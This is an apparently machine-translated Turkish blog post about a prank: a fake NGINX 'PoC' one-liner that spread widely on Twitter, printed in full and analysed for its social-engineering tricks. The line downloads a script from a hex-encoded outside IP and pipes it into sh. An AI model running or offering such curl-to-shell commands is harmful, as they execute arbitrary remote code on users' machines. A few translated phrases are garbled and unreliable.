Not. tercüme:
TL;DR: Hiçbir koşulda sh veya bash'ta dosya ardışık düzenini kullanmayın. Bu, bilgisayarınızın kontrolünü kaybetmenin harika bir yoludur.
31 Mayıs'ta yaratılan komik bir PoC istismarına ilişkin kısa bir hikayeyi sizinle paylaşmak istiyorum. Gelen haberlere anında yanıt verdi
Curl'de yeni bir gizleme tekniği üzerinde çalışmayı bitirdikten sonra, orijinal tweet'ten alıntı yaptım ve keşfedilen güvenlik açığından yararlandığı iddia edilen tek bir kod satırından oluşan "çalışan bir PoC'yi sızdırdım". Elbette bu tamamen saçmalıktı. Hemen açığa çıkacağımı ve en iyi ihtimalle birkaç retweet alacağımı varsaydım (peki).
Ancak bundan sonra ne olacağını hayal edemiyordum. Tweetimin popülaritesi hızla arttı. Şaşırtıcı bir şekilde, şu anda (15 Haziran Moskova saati ile 00:1) çok az kişi bunun sahte olduğunu fark etti. Pek çok kişi onu hiç kontrol etmeden retweetliyor (çıkışladığı harika ASCII grafiklerine hayran olmak şöyle dursun).
Sadece ne kadar güzel olduğuna bakın!
Tüm bu döngüler ve renkler harika olsa da, insanların bunları görebilmek için makinelerinde kod çalıştırması gerektiği açıktır. Şans eseri, tarayıcılar da aynı şekilde çalışıyor ve gerçekten yasal sorunla karşılaşmak istemediğim gerçeğiyle birleştiğinde, sitemde gömülü olan kod, herhangi bir ek kod yüklemeye veya yürütmeye çalışmadan yalnızca yankı çağrıları yapıyordu.
Küçük bir basım:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
Sosyo-elektronik mühendisliği (SEE) - kimlik avından daha fazlası
Güvenlik ve aşinalık bu deneyin önemli bir parçasıydı. Başarısını sağlayan şeyin onlar olduğunu düşünüyorum. Komut satırı "127.0.0.1"e (tanınmış localhost) atıfta bulunarak güvenliği açıkça ima ediyordu. Localhost güvenli kabul edilir ve içindeki veriler bilgisayarınızdan asla ayrılmaz.
Aşinalık, deneyin ikinci önemli SEE bileşeniydi. Hedef kitle öncelikle bilgisayar güvenliğinin temellerine aşina kişilerden oluştuğu için, kodun bazı kısımlarının tanıdık ve tanıdık (ve dolayısıyla güvenli) görünmesini sağlayacak şekilde kod oluşturmak önemliydi. Eski istismar konseptlerinin unsurlarını ödünç almanın ve bunları alışılmadık bir şekilde birleştirmenin çok başarılı olduğu kanıtlandı.
Aşağıda tek astarın ayrıntılı bir analizi bulunmaktadır. Bu listedeki her şey giyiyor kozmetik doğave fiili çalışması için neredeyse hiçbir şeye gerek yoktur.
Hangi bileşenler gerçekten gerekli? Bu -gsS
, -O 0x0238f06a
, |sh
ve web sunucusunun kendisi. Web sunucusu herhangi bir kötü amaçlı talimat içermiyordu, yalnızca komutları kullanarak ASCII grafikleri sunuyordu echo
içerdiği komut dosyasında index.html
. Kullanıcı bir satıra girdiğinde |sh
ortada, index.html
yüklendi ve yürütüldü. Neyse ki web sunucusunun koruyucularının kötü bir niyeti yoktu.
-
../../../%00
— dizinin ötesine geçmeyi temsil eder; -
ngx_stream_module.so
— rastgele bir NGINX modülüne giden yol; -
/bin/sh%00<'protocol:TCP'
- sözde fırlatıyoruz/bin/sh
hedef makinede çıktıyı TCP kanalına yönlendirin; -
-O 0x0238f06a#PLToffset
- gizli içerik, takviye edilmiş#PLToffset
, bir şekilde PLT'de bulunan bir bellek ofseti gibi görünmek için; -
|sh;
- başka bir önemli parça. Saldıran web sunucusundan gelen kodu yürütmek için çıktıyı sh/bash'a yönlendirmemiz gerekiyordu.0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
- netcat'in ifade ettiği bir kukla/dev/tcp/localhost
böylece her şey yeniden güvenli görünür. Aslında hiçbir işe yaramıyor ve güzellik sıralamasında yer alıyor.
Bu, tek satırlık komut dosyasının kodunun çözülmesini ve "sosyo-elektronik mühendisliğinin" (karmaşık kimlik avı) yönlerinin tartışılmasını tamamlıyor.
Web Sunucusu Yapılandırması ve Karşı Önlemler
Abonelerimin büyük çoğunluğu bilgi güvenliği/hacker olduğundan, web sunucusunu onların "ilgi" ifadelerine karşı biraz daha dayanıklı hale getirmeye karar verdim, böylece erkeklerin yapacak bir şeyleri olsun (ve eğlenceli olurdu) kurmak). Deney hala devam ettiği için tüm tuzakları burada listelemeyeceğim, ancak burada sunucunun yaptığı birkaç şey var:
- Belirli sosyal ağlardaki dağıtım girişimlerini aktif olarak izler ve kullanıcıyı bağlantıya tıklamaya teşvik etmek için çeşitli önizleme küçük resimlerini değiştirir.
- Kabuk komut dosyasını göstermek yerine Chrome/Mozilla/Safari/etc'yi Thugcrowd tanıtım videosuna yönlendirir.
- İzinsiz giriş/bariz bilgisayar korsanlığının KESİNLİKLE işaretlerini izler ve ardından istekleri NSA sunucularına yönlendirmeye başlar (ha!).
- Kullanıcıları ana bilgisayarı normal bir tarayıcıdan ziyaret eden tüm bilgisayarlara bir Trojan ve bir BIOS rootkit yükler (şaka yapıyorum!).
Antimerlerin küçük bir kısmı
Bu durumda tek amacım Apache'nin bazı özelliklerine, özellikle de istekleri yeniden yönlendirmeye ilişkin harika kurallara hakim olmaktı ve şunu düşündüm: neden olmasın?
NGINX İstismarı (Gerçek!)
abone olmak
Kaynak: habr.com